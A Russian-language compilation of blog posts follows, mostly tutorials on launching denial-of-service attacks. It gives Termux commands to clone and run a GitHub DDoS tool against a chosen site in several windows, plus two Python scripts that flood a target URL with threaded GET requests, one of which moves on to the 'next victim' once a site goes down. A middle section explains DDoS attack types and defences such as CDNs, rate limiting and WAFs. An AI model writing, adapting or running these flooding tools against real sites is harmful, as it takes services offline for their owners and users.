DDos атака с помощью термукса
prostoprogram 26.10.20 
Скачиваем termux, он есть даже в play market.

Заходим и по порядку пишем команды (где Y/n пишите Y и ставьте enter.):обновим пакеты:Установка
sudo apt update && sudo apt upgrade
Дальше качаем гит и питон:
sudo apt install git python
Копируем нужный нам репозиторий:
git clone https://github.com/ProgrammerGaurav/DDos-Attack.git
Открываем папку с тулзой и делаем все файлы в ней исполняемыми:
cd DDos-Attack chmod +x *
Собственно запускаем тулзу:
python run.py
После этого нам нужно просто ввести название сайта:

Данная утилита направляет 80 ботов/сек, поэтому для лучшего результата, запустите её хотя бы в 5 окнах.
После этого делаете то же самое — от 5 окон и помогаем сайту лечь.

- ✅Основной канал -https://www.youtube.com/channel/UC4kw5KNdecJr7HlM7CBl4CA/
- ☠️ Основной ТГ канал — https://t.me/prostoprogram
- Наш бот: @ProstoProgram_bot
- Чат — https://t.me/joinchat/DpPj0UtgcO6Jmcq015_Rig
Со всеми предложениями и идеями для статей пишите нашему боту @ProstoProgram_bot
Также вы можете присылать ваши статьи в бота (оформляйте в телеграфе), я их просмотрю, если всё ОК — опубликую статью на канале с указанием автора.
DOS атака на Python для самых маленьких
Сегодня мы разберемся что такое DOS, DDOS, а так же научимся проводить простейшую DOS атаку.
И так, что же такое DOS и DDOS атаки? Разберем это на знакомом примере.
Идет урок математики, один из учеников делает что-нибудь раздражающее, что начинает мешать училке, вести урок, однако, если нашего дорогого ученика вычислит училка,
у него в дневнике появится моднейшая «2» за поведение, а наш одноклассник отправляется в корридор.
Примерно по такому же принципу проводится DOS атака, одна машина, пишем скрипт, который будет сильно нагружать поток и препятствовать нормальной работе сайта.
У нас может получиться положить сайт, но не на долго, если получится вообще, потому что отследить такое вмешательство не сложно.
А теперь возьмем в пример тот же урок математики, но мешает училке уже не один человек, а весь класс — урок сорван.
Так же и с DDOS атаками, атака проводится не с одного устройства, а с тысяч, сотен тысяч, может быть даже миллионов, противостоять этому невозможно, только если
администрация дернет рубильник, таким образом сайт можно похоронить так, что он потом не поднимется вообще.
Сегодня мы с вами научимся проводить простую DOS атаку, так как, предпологаю, у вас нет многотысячных единомышленников, если какого-нибудь вируса, который вам удалось
распространить на большое количество систем (а если есть, то зачем ты это читаешь, лол?)
И так, нам нужно написать скрипт, который будет пакетами данных засорять поток на удаленной системе, от чего она будет доведена до оргазма(зачеркнуто) отказа и
прекратит свою работу. Нам нужно сделать так, чтобы система не вывозила количество входящщих данных, не успевала их обрабатывать и отвечать на них.
И так, что же нам нужно, для нашего блюда, которым мы накормим неугодную систему:
1. Python3 — тут мы собственно будем писать скрипт.
2. Colorama — не обязательно, нужно для удобства.
3. Requests — обязательно, нужно чтобы отправлять на удаленный сервер запросы post/get
4. Threading — тоже обязательно, обеспечивает многопоточность, многопоточность нужна для увеличения скорости.
Теперь, когда у нас под рукой есть все необходимое, можно и к делу наконец перейти.
1. Делаем импорт библиотек выше, которые вы уже установили (установили ведь, да?)
import colorama
import threading
import requests
2. Пишем функцию, которая будет отправлять ништяки, а также докладывать нам о состоянии пациента:
def dos(target):
while True:
res = requests.get(target)
print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
except requests.exceptions.ConnectionError:
print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
С помощью данной функции, мы делаем бесконечный цикл, но нам он не страшен, ведь у нас много потоков. Останется только поддождать, когда сервер ляжет.
Но это еще не все, ведь мы еще не написали основной код:
threads = 20
url = input("URL: ")
threads = int(input("Threads: "))
except ValueError:
exit("Threads count is incorrect!")
if threads == 0:
exit("Threads count is incorrect")
if not url.__contains__("http"):
exit("Invalid domain")
for i in range(0, threads):
thr = threading.Thread(target=dos, args=(url,))
thr.start()
print(str(i + 1) + " thread started!")
А теперь разберемся, что тут у нас вообще происходит. Мы создали переменную threads, в которой мы обозначаем количество потоков. По дефолту у нас стоит 20, это
маловато так что добавляем нолей по вкусу. В переменную url нам нужно вписать домен цели.
Выясняем у пользователя, количество потоков, которое он хотел бы использовать, делаем это в блоке try. Смотрим на количество потоков, если их 0, то у нас ничего не
Далеем убеждаемся, что у нас именно ссылка, делается это по следующим опозновательным признакам: в начале есть http или https, а на конце домен верхнего уровня
И вот, настал тот момент, когда мы все написали (или скопировали), все проверили, нажимаем кнопку F5 (ставь лайк если у тебя есть
такая кнопка, посмотрим сколько
нас), в открывшемся окне бахаем ненавистный нами URL, пишем количество потоков. В окне начинают появляться отчеты, а мы откидываемся на спинку кресла, пьем чай и
Что такое DDOS-атаки?
Атака типа «отказ в обслуживании» (DoS) – это попытка причинить вред, сделав недоступной целевую систему, например веб-сайт или приложение, для обычных конечных пользователей. Обычно злоумышленники генерируют большое количество пакетов или запросов, которые в конечном счете перегружают работу целевой системы. Для осуществления атаки типа «распределенный отказ в обслуживании» (DDoS) злоумышленник использует множество взломанных или контролируемых источников.
В общем случае DDoS-атаки можно разделить на типы в зависимости от того, на каком уровне модели взаимодействия открытых систем (OSI) происходит атака. Атаки на сетевом уровне (уровень 3), транспортном уровне (уровень 4), уровне представления (уровень 6) и уровне приложений (уровень 7) наиболее распространены.
Модель взаимодействия открытых систем (OSI)
| # | Уровень 7 | Приложение | Описание | Пример вектора |
| 7 | Приложение | Данные | Сетевой процесс в адрес приложения | флуд DNS-запросов, HTTP-флуд |
| 6 | Представление | Данные | Представление и шифрование данных | SSL-нарушение |
| 5 | Сеанс | Данные | Сеанс связи между хостами | Н/Д |
| 4 | Транспортный | Сегменты | Связь между конечными пунктами и надежность | SYN-флуд |
| 3 | Сетевой | Пакеты | Определение маршрута и логическая адресация | Атаки с отражением UDP-пакетов |
| 2 | Канальный | Кадры | Физическая адресация | Н/Д |
| 1 | Физический | Биты | Среда передачи, сигнал и двоичные данные | Н/Д |
Классификация DDoS-атак
Рассматривая методы предотвращения таких атак, полезно разделить их на две группы: атаки уровня инфраструктуры (уровни 3 и 4) и атаки уровня приложения (уровни 6 и 7).
Атаки уровня инфраструктуры
К атакам уровня инфраструктуры обычно относят атаки на уровнях 3 и 4. Это наиболее распространенный тип DDoS-атак, который включает в себя такие векторы, как SYN-флуд, и другие атаки отражения, такие как UDP-флуд. Подобные атаки обычно массовые и направлены на то, чтобы перегрузить пропускную способность сети либо серверы приложений. Тем не менее, такой тип атак имеет определенные признаки, поэтому их легче обнаружить.
Атаки уровня приложения
К атакам уровня приложений обычно относят атаки на уровнях 6 и 7. Эти атаки менее распространены, но в то же время являются более сложными. Как правило, они не столь массовые, как атаки уровня инфраструктуры, но нацелены на определенные дорогостоящие части приложения и приводят к тому, что оно становится недоступным для реальных пользователей. В качестве примера можно привести поток HTTP-запросов на страницу входа в систему, дорогой API поиска или даже потоки XML-RPC WordPress (также известные как атаки WordPress Pingback).
Методы защиты от DDoS-атак
Уменьшение зон, доступных для атаки
Одним из первых методов нейтрализации DDoS-атак является сведение к минимуму размера зоны, которую можно атаковать. Подобный прием ограничивает возможности злоумышленников для атаки и обеспечивает возможность создания централизованной защиты. Необходимо убедиться, что доступ к приложению или ресурсам не был открыт для портов, протоколов или приложений, взаимодействие с которыми не предусмотрено. Таким образом, сведение к минимуму количества возможных точек для атаки позволяет сосредоточить усилия на их нейтрализации. В некоторых случаях этого можно добиться, разместив свои вычислительные ресурсы за сетями распространения контента (CDN) или балансировщиками нагрузки и ограничив прямой интернет-трафик к определенным частям своей инфраструктуры, таким как серверы баз данных. Также можно использовать брандмауэры или списки контроля доступа (ACL), чтобы контролировать, какой трафик поступает в приложения.
План масштабирования
Двумя основными элементами нейтрализации крупномасштабных DDoS-атак являются пропускная способность (или транзитный потенциал) и производительность сервера, достаточная для поглощения и нейтрализации атак.
Транзитный потенциал. При проектировании приложений необходимо убедиться, что поставщик услуг хостинга предоставляет избыточную пропускную способность подключения к Интернету, которая позволяет обрабатывать большие объемы трафика. Поскольку конечная цель DDoS-атак – повлиять на доступность ресурсов или приложений, необходимо размещать их рядом не только с конечными пользователями, но и с крупными узлами межсетевого обмена трафиком, которые легко обеспечат вашим пользователям доступ к приложению даже при большом объеме трафика. Работа с интернет-приложениями обеспечивает еще более широкие возможности. В этом случае можно воспользоваться сетями распространения контента (CDN) и сервисами интеллектуального преобразования адресов DNS, которые создают дополнительный уровень сетевой инфраструктуры для обслуживания контента и разрешения DNS-запросов из мест, которые зачастую расположены ближе к конечным пользователям.
Производительность сервера. Большинство DDoS-атак являются объемными и потребляют много ресурсов, поэтому важно иметь возможность быстро увеличивать или уменьшать объем своих вычислительных ресурсов. Это можно обеспечить, используя избыточный объем вычислительных ресурсов или ресурсы со специальными возможностями, такими как более производительные сетевые интерфейсы или улучшенная сетевая конфигурация, что позволяет поддерживать обработку больших объемов трафика. Кроме того, для постоянного контроля и распределения нагрузок между ресурсами и предотвращения перегрузки какого-либо одного ресурса часто используются соответствующие балансировщики.
Сведения о типичном и нетипичном трафике
Каждый раз, когда обнаруживается повышение объема трафика, попадающего на хост, в качестве ориентира можно брать максимально возможный объем трафика, который хост может обработать без ухудшения его доступности. Такая концепция называется ограничением скорости. Более продвинутые методы защиты соответственно обладают дополнительными возможностями и могут интеллектуально принимать только трафик, который разрешен, анализируя отдельные пакеты. Для использования подобных средств необходимо определить характеристики хорошего трафика, который обычно получает целевой объект, и иметь возможность сравнивать каждый пакет с этим эталоном.
Развертывание брандмауэров для отражения сложных атак уровня приложений
Против атак, которые пытаются использовать уязвимость в приложении, например против попыток внедрения SQL-кода или подделки межсайтовых запросов, рекомендуется использовать Web Application Firewall (WAF). Кроме того, из-за уникальности этих атак вы должны быть способны самостоятельно нейтрализовать запрещенные запросы, которые могут иметь определенные характеристики, например могут определяться как отличные от хорошего трафика или исходить из подозрительных IP-адресов, из неожиданных географических регионов и т. д. Чтобы нейтрализовать происходящие атаки, иногда может быть полезно получить поддержку специалистов для изучения характеристик трафика и создания индивидуальной защиты.
Python и DOS-атаки с помощью библиотеки requests


Привет всем! Небольшой пост сегодня, навеянный текущей ситуацией. Будем экспериментировать с DOS-атаками с помощью библиотеки requests в Python.
Длы начала — что такое DOS-атака? Это создание ситуации, когда мы самостоятельно (совсем не эффективно при текущих-то мощностях) или коллективно (о, да!) создаем некоторую нагрузку на атакуемый сервер. Множество запросов, которые заставляют сервер выделять на ответы свои ресурсы приводят к тому, что в итоге сервер оказывается перегружен запросами, и не может обрабатывать те запросы, которые действительно нужны. Так давайте разберемся, как создавать эти запросы?
Логика сеогдняшнего кода очень проста — отправляем запрос на сайт и пытаемся получить полный код интересующей нас страницы. Мелочь, но — когда мелочей миллион — сайт начинает тормозить, и в итоге — перестает стабильно работать. Для нашего же компьютера и соединения это — совершенно незаметная нагрузка.
Пример кода — ниже (и да, за тестирование и комментарии спасибо подписчику Льву, который сейчас в Киеве. Там очень сложно, но он не теряет оптимизма — за что ему отдельный респект!):
import requests #подключили библиотеку requests (о ней я писал неоднократно) def get_link(): #Создаем функцию, которая получает ссылку на атакуемый сайт link = input(str('Link: ')) get_content(link) def get_content(link): #Создаем функцию, которая собственно и будет создавать запросы на атакуемый сайт i = 1 while True: try: r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) #Поддельный заголовок нашего браузера r_answer = r.content #Создаем переменную, которая состоит из исходного кода страницы print('Отправлено пакетов:', i) #Выводим статистику i = i + 1 except: print('Кажется, сайт', link, 'лежит. Дополнительная проверка. ') #Лег сайт? Проверим на всякий случай :) try: r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) r_answer = r.content print('Точно лежит :) Выбираем следующую жертву.') #Точно лег. Давайте выберем следующую жертву? :) get_link() except: print('Точно лежит :) Выбираем следующую жертву.') get_link() while True: get_content(get_link()) get_link()
Спасибо за внимание Как всегда — в случае возникновения вопросов пишите на почту или в Telegram.
Завтра постараюсь выкатить версию простейшего атакера, основанного на Ping-запросах в виде оконного приложения (беда современных пользователей компьютеров в том, что бОльшая часть совершенно не умеет пользоваться командной строкой). Слава Украине!
